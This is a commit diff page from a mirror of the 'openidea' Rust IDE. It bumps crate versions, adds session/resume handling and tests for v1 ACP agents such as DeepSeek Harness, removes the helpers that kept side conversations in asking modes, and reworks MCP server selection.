дзеркало
https://github.com/l0ng-ai/openidea.git
синхронізовано 2026-11-19 16:15:42 +02:00
Порівняти коміти
46
Коміти
| Автор | SHA1 | Дата | |
|---|---|---|---|
|
|
0a03615988 | ||
|
|
8b6c71095a | ||
|
|
abe7c58cb9 | ||
|
|
d3d799b8fe | ||
|
|
122d7f3d0f | ||
|
|
6cdb2f1f1e | ||
|
|
dbf6de6d24 | ||
|
|
80cb458395 | ||
|
|
612cca2ec9 | ||
|
|
458286b046 | ||
|
|
043584b7de | ||
|
|
ab1a4db606 | ||
|
|
2d85e745e7 | ||
|
|
741730b7e0 | ||
|
|
026b493e93 | ||
|
|
711ef3ec96 | ||
|
|
b35bf882b5 | ||
|
|
a816a57004 | ||
|
|
52017a1172 | ||
|
|
80f50ccdfa | ||
|
|
ec76dcde7f | ||
|
|
3c624ccb22 | ||
|
|
5a000983c7 | ||
|
|
03ad6c12ca | ||
|
|
1dbd2847b9 | ||
|
|
c9f5ac9cd5 | ||
|
|
06c7127b6b | ||
|
|
635ec2d7bd | ||
|
|
ac3c564249 | ||
|
|
f76ac263a0 | ||
|
|
7a97fba491 | ||
|
|
205b4bcc5f | ||
|
|
cd574a3e28 | ||
|
|
8aed4156f4 | ||
|
|
0221034936 | ||
|
|
0d432bf1a6 | ||
|
|
cbac930a6f | ||
|
|
33f082e32f | ||
|
|
0bbf5568cd | ||
|
|
2277c1cdfd | ||
|
|
a537223233 | ||
|
|
19c7947fc4 | ||
|
|
98f9fc0063 | ||
|
|
0d5ef48a94 | ||
|
|
444b620985 | ||
|
|
0c45a96d84 |
No files matched your search
Створено
+44
-44
@@ -4144,7 +4144,7 @@ checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954"
|
||||
|
||||
[[package]]
|
||||
name = "ide-agent"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -4169,7 +4169,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-analysis"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ast-grep-core",
|
||||
"ide-core",
|
||||
@@ -4183,7 +4183,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-android"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"serde",
|
||||
@@ -4194,7 +4194,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-build"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"chardetng",
|
||||
@@ -4212,7 +4212,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-cli"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dirs 6.0.0",
|
||||
"serde",
|
||||
@@ -4226,7 +4226,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-clipboard"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"gtk",
|
||||
"objc2 0.6.5",
|
||||
@@ -4237,7 +4237,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-core"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"encoding_rs",
|
||||
@@ -4254,7 +4254,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-coverage"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-run",
|
||||
@@ -4268,7 +4268,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-dap"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"futures",
|
||||
@@ -4297,7 +4297,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-db"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"bb8",
|
||||
@@ -4333,7 +4333,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-docker"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"serde",
|
||||
@@ -4346,7 +4346,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-extension"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"blake3",
|
||||
@@ -4367,7 +4367,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-fonts"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-text",
|
||||
@@ -4379,7 +4379,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-github"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-vcs",
|
||||
@@ -4392,7 +4392,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-heap"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"criterion",
|
||||
"ide-core",
|
||||
@@ -4410,7 +4410,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-host"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"blake3",
|
||||
@@ -4481,7 +4481,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-http"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-vfs",
|
||||
@@ -4500,7 +4500,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-index"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"criterion",
|
||||
@@ -4522,7 +4522,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jdwp"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-jvm-inspect",
|
||||
"proptest",
|
||||
@@ -4534,7 +4534,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jsonrpc"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"encoding_rs",
|
||||
"futures",
|
||||
@@ -4551,7 +4551,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jvm-attach"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"tempfile",
|
||||
@@ -4560,7 +4560,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-jvm-inspect"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"futures",
|
||||
"serde",
|
||||
@@ -4571,7 +4571,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-language"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"criterion",
|
||||
@@ -4629,7 +4629,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-lsp"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"encoding_rs",
|
||||
@@ -4657,7 +4657,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-mcp"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"dunce",
|
||||
@@ -4676,7 +4676,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-notebook"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"futures",
|
||||
"ide-core",
|
||||
@@ -4699,7 +4699,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-plugin"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -4722,7 +4722,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-profiler"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-jvm-attach",
|
||||
@@ -4736,7 +4736,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-remote"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"futures",
|
||||
@@ -4756,7 +4756,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-run"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"encoding_rs",
|
||||
@@ -4780,7 +4780,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-scaffold"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-tools",
|
||||
@@ -4796,7 +4796,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-sdk"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dunce",
|
||||
"flate2",
|
||||
@@ -4819,7 +4819,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-search"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"criterion",
|
||||
"encoding_rs",
|
||||
@@ -4840,7 +4840,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-spell"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"parking_lot",
|
||||
@@ -4853,7 +4853,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-ssh"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dirs 6.0.0",
|
||||
"flate2",
|
||||
@@ -4878,7 +4878,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-syntax"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"ide-language",
|
||||
@@ -4893,7 +4893,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-terminal"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"ide-core",
|
||||
"libc",
|
||||
@@ -4906,7 +4906,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-text"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"criterion",
|
||||
"ide-core",
|
||||
@@ -4919,7 +4919,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-tools"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"flate2",
|
||||
"hex",
|
||||
@@ -4940,7 +4940,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-vcs"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -4961,7 +4961,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-vfs"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"chardetng",
|
||||
"dunce",
|
||||
@@ -4987,7 +4987,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-web"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"dirs 6.0.0",
|
||||
"ide-core",
|
||||
@@ -5003,7 +5003,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "ide-workspace"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"blake3",
|
||||
"dunce",
|
||||
@@ -6632,7 +6632,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openidea"
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"blake3",
|
||||
|
||||
+1
-1
@@ -5,7 +5,7 @@ members = ["crates/*", "src-tauri"]
|
||||
exclude = ["sdk", "plugins"]
|
||||
|
||||
[workspace.package]
|
||||
version = "0.1.45"
|
||||
version = "0.1.46"
|
||||
edition = "2024"
|
||||
rust-version = "1.96"
|
||||
license = "Apache-2.0"
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
`src/ui/brands/*.svg` use the unmodified logo paths from
|
||||
[Simple Icons](https://github.com/simple-icons/simple-icons), retrieved through
|
||||
Iconify (`simple-icons:angular`, `simple-icons:astro`, `simple-icons:cplusplus`, `simple-icons:dart`, `simple-icons:django`, `simple-icons:dotnet`, `simple-icons:elixir`, `simple-icons:express`, `simple-icons:fastapi`, `simple-icons:flask`, `simple-icons:flutter`, `simple-icons:go`, `simple-icons:haskell`, `simple-icons:html5`, `simple-icons:kotlin`, `simple-icons:ktor`, `simple-icons:laravel`, `simple-icons:nestjs`, `simple-icons:nextdotjs`, `simple-icons:nodedotjs`, `simple-icons:nuxt`, `simple-icons:openjdk`, `simple-icons:phoenixframework`, `simple-icons:php`, `simple-icons:python`, `simple-icons:quarkus`, `simple-icons:ruby`, `simple-icons:rubyonrails`, `simple-icons:rust`, `simple-icons:scala`, `simple-icons:springboot`, `simple-icons:svelte`, `simple-icons:swift`, `simple-icons:symfony`, `simple-icons:vite`, `simple-icons:zig`) and filled with the brand colors (the standard icon grey for black logos). Licensed under [CC0 1.0 Universal](https://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md).
|
||||
Iconify (`simple-icons:angular`, `simple-icons:astro`, `simple-icons:cplusplus`, `simple-icons:dart`, `simple-icons:deepseek`, `simple-icons:django`, `simple-icons:dotnet`, `simple-icons:elixir`, `simple-icons:express`, `simple-icons:fastapi`, `simple-icons:flask`, `simple-icons:flutter`, `simple-icons:go`, `simple-icons:haskell`, `simple-icons:html5`, `simple-icons:kotlin`, `simple-icons:ktor`, `simple-icons:laravel`, `simple-icons:nestjs`, `simple-icons:nextdotjs`, `simple-icons:nodedotjs`, `simple-icons:nuxt`, `simple-icons:openjdk`, `simple-icons:phoenixframework`, `simple-icons:php`, `simple-icons:python`, `simple-icons:quarkus`, `simple-icons:ruby`, `simple-icons:rubyonrails`, `simple-icons:rust`, `simple-icons:scala`, `simple-icons:springboot`, `simple-icons:svelte`, `simple-icons:swift`, `simple-icons:symfony`, `simple-icons:vite`, `simple-icons:zig`) and filled with the brand colors (the standard icon grey for black logos). Licensed under [CC0 1.0 Universal](https://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md).
|
||||
|
||||
## Project Lombok
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@ use serde::de::DeserializeOwned;
|
||||
use serde_json::{Value, json};
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicU8, Ordering};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU8, Ordering};
|
||||
use tokio::sync::oneshot;
|
||||
|
||||
/// ACP's error code for a request that needs the user to sign in.
|
||||
@@ -162,9 +162,16 @@ impl Negotiated {
|
||||
Self { generation: 2, capabilities, agent_info: response.get("info").cloned(), auth_methods, meta }
|
||||
}
|
||||
|
||||
/// Whether a saved session can be reopened (`session/load` on v1, `session/resume` on v2).
|
||||
/// Whether a saved session can be reopened: `loadSession`, or a v1 agent's
|
||||
/// `sessionCapabilities.resume` (DeepSeek Harness), which stands in for it.
|
||||
pub fn load_session(&self) -> bool {
|
||||
self.capabilities.get("loadSession").and_then(Value::as_bool) == Some(true)
|
||||
self.capabilities.get("loadSession").and_then(Value::as_bool) == Some(true) || self.session("resume")
|
||||
}
|
||||
|
||||
/// Whether `session/load` must be sent as `session/resume`: a v1 agent that advertises
|
||||
/// `sessionCapabilities.resume` instead of `loadSession` (DeepSeek Harness).
|
||||
pub fn resume_instead_of_load(&self) -> bool {
|
||||
self.capabilities.get("loadSession").and_then(Value::as_bool) != Some(true) && self.session("resume")
|
||||
}
|
||||
|
||||
/// `promptCapabilities.<name>` (`image`, `audio`, `embeddedContext`).
|
||||
@@ -205,6 +212,8 @@ pub(crate) struct Dialect {
|
||||
inner: Arc<dyn Handler>,
|
||||
/// 0 until `initialize` answers; then 1 or 2.
|
||||
generation: AtomicU8,
|
||||
/// Set by `initialize`: a v1 agent's `session/load` is sent as `session/resume`.
|
||||
resume_load: AtomicBool,
|
||||
normalizer: Mutex<Normalizer>,
|
||||
/// Running v2 prompts, by session id.
|
||||
turns: Mutex<HashMap<String, Turn>>,
|
||||
@@ -222,6 +231,7 @@ impl Dialect {
|
||||
Arc::new(Self {
|
||||
inner,
|
||||
generation: AtomicU8::new(0),
|
||||
resume_load: AtomicBool::new(false),
|
||||
normalizer: Mutex::new(Normalizer::default()),
|
||||
turns: Mutex::new(HashMap::new()),
|
||||
})
|
||||
@@ -231,6 +241,10 @@ impl Dialect {
|
||||
self.generation.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
fn resume_load(&self) -> bool {
|
||||
self.resume_load.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
fn v2(&self) -> bool {
|
||||
self.generation() == 2
|
||||
}
|
||||
@@ -380,6 +394,7 @@ impl Conn {
|
||||
let response: Value = self.peer.request("initialize", initialize_params(client_info), None).await?;
|
||||
let negotiated = Negotiated::from_initialize(&response);
|
||||
self.dialect.generation.store(negotiated.generation, Ordering::Release);
|
||||
self.dialect.resume_load.store(negotiated.resume_instead_of_load(), Ordering::Release);
|
||||
Ok(negotiated)
|
||||
}
|
||||
|
||||
@@ -393,6 +408,9 @@ impl Conn {
|
||||
let params = serde_json::to_value(params).map_err(|e| RpcError::Protocol(e.to_string()))?;
|
||||
let value = if self.dialect.v2() {
|
||||
self.request_v2(method, params, cancel).await?
|
||||
} else if method == "session/load" && self.dialect.resume_load() {
|
||||
// Same request shape, without a replay and without v2's setup translation.
|
||||
self.peer.request("session/resume", params, cancel).await?
|
||||
} else {
|
||||
self.peer.request(method, params, cancel).await?
|
||||
};
|
||||
|
||||
@@ -180,6 +180,7 @@ async fn discovery_reads_effort_and_fast_from_session_new_then_stops_the_agent()
|
||||
fn a_v2_initialize_response_reads_as_v1_capabilities() {
|
||||
let n = Negotiated::from_initialize(&result(TURN, 1));
|
||||
assert_eq!(n.generation, 2);
|
||||
assert!(!n.resume_instead_of_load(), "v2 maps `session/load` itself");
|
||||
assert!(n.load_session());
|
||||
assert!(n.prompt("image") && n.prompt("embeddedContext") && !n.prompt("audio"));
|
||||
assert!(n.session("fork") && n.session("resume") && n.session("close") && n.session("delete"));
|
||||
@@ -681,3 +682,87 @@ fn stdio_mcp_is_v1_baseline_and_negotiated_in_v2() {
|
||||
.mcp_stdio()
|
||||
);
|
||||
}
|
||||
|
||||
/// A v1 agent that answers `initialize` with `init` and records every request it gets.
|
||||
/// Keeps its own `Peer` so the duplex stays open while the client sends.
|
||||
struct V1Agent {
|
||||
init: Value,
|
||||
peer: std::sync::OnceLock<Peer>,
|
||||
requests: parking_lot::Mutex<Vec<(String, Value)>>,
|
||||
}
|
||||
|
||||
impl Handler for V1Agent {
|
||||
fn on_notification(&self, _: &str, _: Value) {}
|
||||
|
||||
fn on_request(&self, method: &str, params: Value) -> Result<Value, (i64, String)> {
|
||||
self.requests.lock().push((method.to_owned(), params));
|
||||
Ok(if method == "initialize" { self.init.clone() } else { json!({}) })
|
||||
}
|
||||
}
|
||||
|
||||
async fn connect_v1(agent: Arc<V1Agent>) -> (Conn, Negotiated) {
|
||||
let (a, b) = tokio::io::duplex(1 << 20);
|
||||
let (ar, aw) = tokio::io::split(a);
|
||||
let (br, bw) = tokio::io::split(b);
|
||||
let _ = agent.peer.set(Peer::connect_framed(br, bw, agent.clone(), Framing::Lines));
|
||||
let dialect = Dialect::wrap(Arc::new(Recorder::default()));
|
||||
let conn = Conn::new(Peer::connect_framed(ar, aw, dialect.clone(), Framing::Lines), dialect);
|
||||
let n = conn.initialize(&json!({ "name": "OpenIDEA", "version": "0" })).await.unwrap();
|
||||
assert_eq!((n.generation, conn.generation()), (1, 1));
|
||||
(conn, n)
|
||||
}
|
||||
|
||||
fn v1_agent(init: Value) -> Arc<V1Agent> {
|
||||
Arc::new(V1Agent { init, peer: Default::default(), requests: Default::default() })
|
||||
}
|
||||
|
||||
/// A v1 agent that advertises `sessionCapabilities.resume` instead of `loadSession`
|
||||
/// (DeepSeek Harness) can reopen a saved session, but only through `session/resume`.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn a_v1_agent_with_resume_instead_of_load_reopens_through_session_resume() {
|
||||
let agent = v1_agent(json!({
|
||||
"protocolVersion": 1,
|
||||
"agentInfo": { "name": "deepseek-harness-acp", "version": "0.0.1" },
|
||||
"agentCapabilities": { "sessionCapabilities": { "close": {}, "list": {}, "resume": {} } },
|
||||
}));
|
||||
let (conn, n) = connect_v1(agent.clone()).await;
|
||||
assert!(n.load_session(), "a resume-only agent is reloadable");
|
||||
assert!(n.resume_instead_of_load());
|
||||
assert!(n.session("resume"));
|
||||
|
||||
let params = json!({ "sessionId": "s1", "cwd": "/p", "mcpServers": [] });
|
||||
let _: Value = conn.request("session/load", params.clone(), None).await.unwrap();
|
||||
let requests = agent.requests.lock().clone();
|
||||
assert_eq!(requests.iter().map(|(m, _)| m.as_str()).collect::<Vec<_>>(), ["initialize", "session/resume"]);
|
||||
assert_eq!(requests[1].1, params, "same request shape as `session/load`");
|
||||
}
|
||||
|
||||
/// Every other v1 agent is untouched: `loadSession` still sends `session/load`, and an
|
||||
/// agent advertising neither capability is not treated as loadable.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn v1_agents_that_do_not_advertise_resume_keep_session_load() {
|
||||
for (init, loadable) in [
|
||||
(json!({ "protocolVersion": 1, "agentCapabilities": { "loadSession": true } }), true),
|
||||
(json!({ "protocolVersion": 1, "agentCapabilities": { "loadSession": false } }), false),
|
||||
(json!({ "protocolVersion": 1, "agentCapabilities": { "sessionCapabilities": { "resume": null } } }), false),
|
||||
(json!({ "protocolVersion": 1 }), false),
|
||||
] {
|
||||
let agent = v1_agent(init);
|
||||
let (conn, n) = connect_v1(agent.clone()).await;
|
||||
assert_eq!(n.load_session(), loadable);
|
||||
assert!(!n.resume_instead_of_load());
|
||||
let _: Value = conn.request("session/load", json!({ "sessionId": "s1" }), None).await.unwrap();
|
||||
let methods: Vec<String> = agent.requests.lock().iter().map(|(m, _)| m.clone()).collect();
|
||||
assert_eq!(methods, ["initialize", "session/load"]);
|
||||
}
|
||||
// `loadSession: true` wins over a resume-only advertisement.
|
||||
let agent = v1_agent(json!({
|
||||
"protocolVersion": 1,
|
||||
"agentCapabilities": { "loadSession": true, "sessionCapabilities": { "resume": {} } },
|
||||
}));
|
||||
let (conn, n) = connect_v1(agent.clone()).await;
|
||||
assert!(n.load_session() && !n.resume_instead_of_load());
|
||||
let _: Value = conn.request("session/load", json!({ "sessionId": "s1" }), None).await.unwrap();
|
||||
let methods: Vec<String> = agent.requests.lock().iter().map(|(m, _)| m.clone()).collect();
|
||||
assert_eq!(methods, ["initialize", "session/load"]);
|
||||
}
|
||||
@@ -2,8 +2,8 @@
|
||||
//! the agent reports them over ACP.
|
||||
|
||||
use crate::model::{
|
||||
AgentCommand, AgentCommandSource, AgentConfigChoice, AgentConfigOption, AgentConfigValue, AgentConfigVia,
|
||||
AgentCost, AgentLimit, AgentModelPricing, AgentUsage,
|
||||
AgentCommand, AgentCommandSource, AgentConfigOption, AgentConfigValue, AgentConfigVia, AgentCost, AgentLimit,
|
||||
AgentModelPricing, AgentUsage,
|
||||
};
|
||||
use serde_json::{Value, json};
|
||||
|
||||
@@ -54,45 +54,6 @@ pub(crate) fn bypass_approvals(config: &[AgentConfigOption]) -> bool {
|
||||
.any(|category| selected(category).zip(bypass_value(category)).is_some_and(|(value, bypass)| bypass(value)))
|
||||
}
|
||||
|
||||
/// Mode values that ask before anything changes the project, most careful first: Codex's
|
||||
/// Read Only (its Ask still edits the workspace), Claude Code's default (its Accept Edits
|
||||
/// doesn't ask), then plan modes.
|
||||
const ASKING_MODES: [&str; 4] = ["read-only", "default", "plan", "ask"];
|
||||
|
||||
/// Moves `config` to settings that ask before anything changes the project (a side
|
||||
/// conversation): approvals that approve everything ask, and the mode is the most careful one.
|
||||
pub(crate) fn keep_asking(config: &mut [AgentConfigOption]) {
|
||||
ask_for_approvals(config);
|
||||
for option in config.iter_mut().filter(|o| o.category.as_deref() == Some("mode")) {
|
||||
if let Some(mode) = ASKING_MODES.iter().find(|m| option.values.iter().any(|v| v.value == **m)) {
|
||||
option.current = Some((*mode).to_owned());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The choices that keep a session asking before it changes anything: `wanted` without its
|
||||
/// mode and approval choices, and the [`keep_asking`] value of each such option of `options`.
|
||||
pub(crate) fn asking_choices(options: &[AgentConfigOption], wanted: &[AgentConfigChoice]) -> Vec<AgentConfigChoice> {
|
||||
let guarded = |o: &AgentConfigOption| o.category.as_deref().and_then(bypass_value).is_some();
|
||||
let mut out: Vec<AgentConfigChoice> =
|
||||
wanted.iter().filter(|c| !options.iter().any(|o| o.id == c.id && guarded(o))).cloned().collect();
|
||||
let mut asking = options.to_vec();
|
||||
keep_asking(&mut asking);
|
||||
for option in asking.iter().filter(|o| guarded(o)) {
|
||||
if let Some(value) = &option.current {
|
||||
out.push(AgentConfigChoice { id: option.id.clone(), value: value.clone() });
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Whether `config` is what [`keep_asking`] makes of it.
|
||||
pub(crate) fn keeps_asking(config: &[AgentConfigOption]) -> bool {
|
||||
let mut asking = config.to_vec();
|
||||
keep_asking(&mut asking);
|
||||
asking.iter().zip(config).all(|(a, b)| a.current == b.current)
|
||||
}
|
||||
|
||||
/// For an option of `category` that can approve everything, what tells its approving values.
|
||||
fn bypass_value(category: &str) -> Option<fn(&str) -> bool> {
|
||||
match category {
|
||||
@@ -503,26 +464,6 @@ mod tests {
|
||||
assert_eq!(ids(&c), [("allow_all", Some("off")), ("approval", Some("ask"))]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn asking_choices_keep_a_side_conversation_from_changing_anything() {
|
||||
let codex = options_of(&json!({"modes": {"currentModeId": "full-access",
|
||||
"availableModes": [{"id": "read-only"}, {"id": "ask"}, {"id": "auto"}, {"id": "full-access"}]}}));
|
||||
let mode = codex[0].id.clone();
|
||||
let choice = |id: &str, value: &str| AgentConfigChoice { id: id.into(), value: value.into() };
|
||||
// Codex goes to Read Only (its Ask edits the workspace), whatever the source task chose.
|
||||
let wanted = asking_choices(&codex, &[choice(&mode, "full-access"), choice("model", "gpt")]);
|
||||
assert_eq!(wanted, [choice("model", "gpt"), choice(&mode, "read-only")]);
|
||||
assert_eq!(asking_choices(&codex, &[choice(&mode, "ask")]), [choice(&mode, "read-only")]);
|
||||
// Claude Code's Accept Edits doesn't ask: default does.
|
||||
let claude = options_of(&json!({"modes": {"currentModeId": "acceptEdits",
|
||||
"availableModes": [{"id": "default"}, {"id": "acceptEdits"}, {"id": "plan"}, {"id": "bypassPermissions"}]}}));
|
||||
assert_eq!(asking_choices(&claude, &[]), [choice(&claude[0].id, "default")]);
|
||||
assert!(!keeps_asking(&claude));
|
||||
let mut safe = claude.clone();
|
||||
keep_asking(&mut safe);
|
||||
assert!(keeps_asking(&safe));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn effort_and_fast_categories_are_inferred_from_ids() {
|
||||
let mut c = options_of(&json!({
|
||||
|
||||
@@ -210,20 +210,23 @@ impl Shared {
|
||||
}
|
||||
}
|
||||
|
||||
/// The MCP servers passed to a session, and the names of the ones off for it.
|
||||
fn mcp_servers_for_session(
|
||||
&self,
|
||||
provider: &str,
|
||||
init: &acp::Negotiated,
|
||||
overrides: &BTreeMap<String, bool>,
|
||||
) -> Vec<Value> {
|
||||
let mut servers = if overrides.get(mcp::BUILTIN_MCP_NAME) == Some(&false) {
|
||||
Vec::new()
|
||||
} else {
|
||||
mcp_servers_for(init.mcp_stdio(), &self.paths.project_root)
|
||||
};
|
||||
) -> McpForSession {
|
||||
let builtin_off = overrides.get(mcp::BUILTIN_MCP_NAME) == Some(&false);
|
||||
let mut servers =
|
||||
if builtin_off { Vec::new() } else { mcp_servers_for(init.mcp_stdio(), &self.paths.project_root) };
|
||||
let configured = self.mcp_servers_hook.read().as_ref().map(|hook| hook()).unwrap_or_default();
|
||||
servers.extend(mcp::acp_mcp_servers(&configured, provider, init, overrides));
|
||||
servers
|
||||
let mut off = mcp::servers_off(&configured, overrides);
|
||||
if builtin_off {
|
||||
off.push(BUILTIN_SERVER.to_owned());
|
||||
}
|
||||
McpForSession { servers, off }
|
||||
}
|
||||
|
||||
fn known_config(&self, provider: &str) -> Vec<AgentConfigOption> {
|
||||
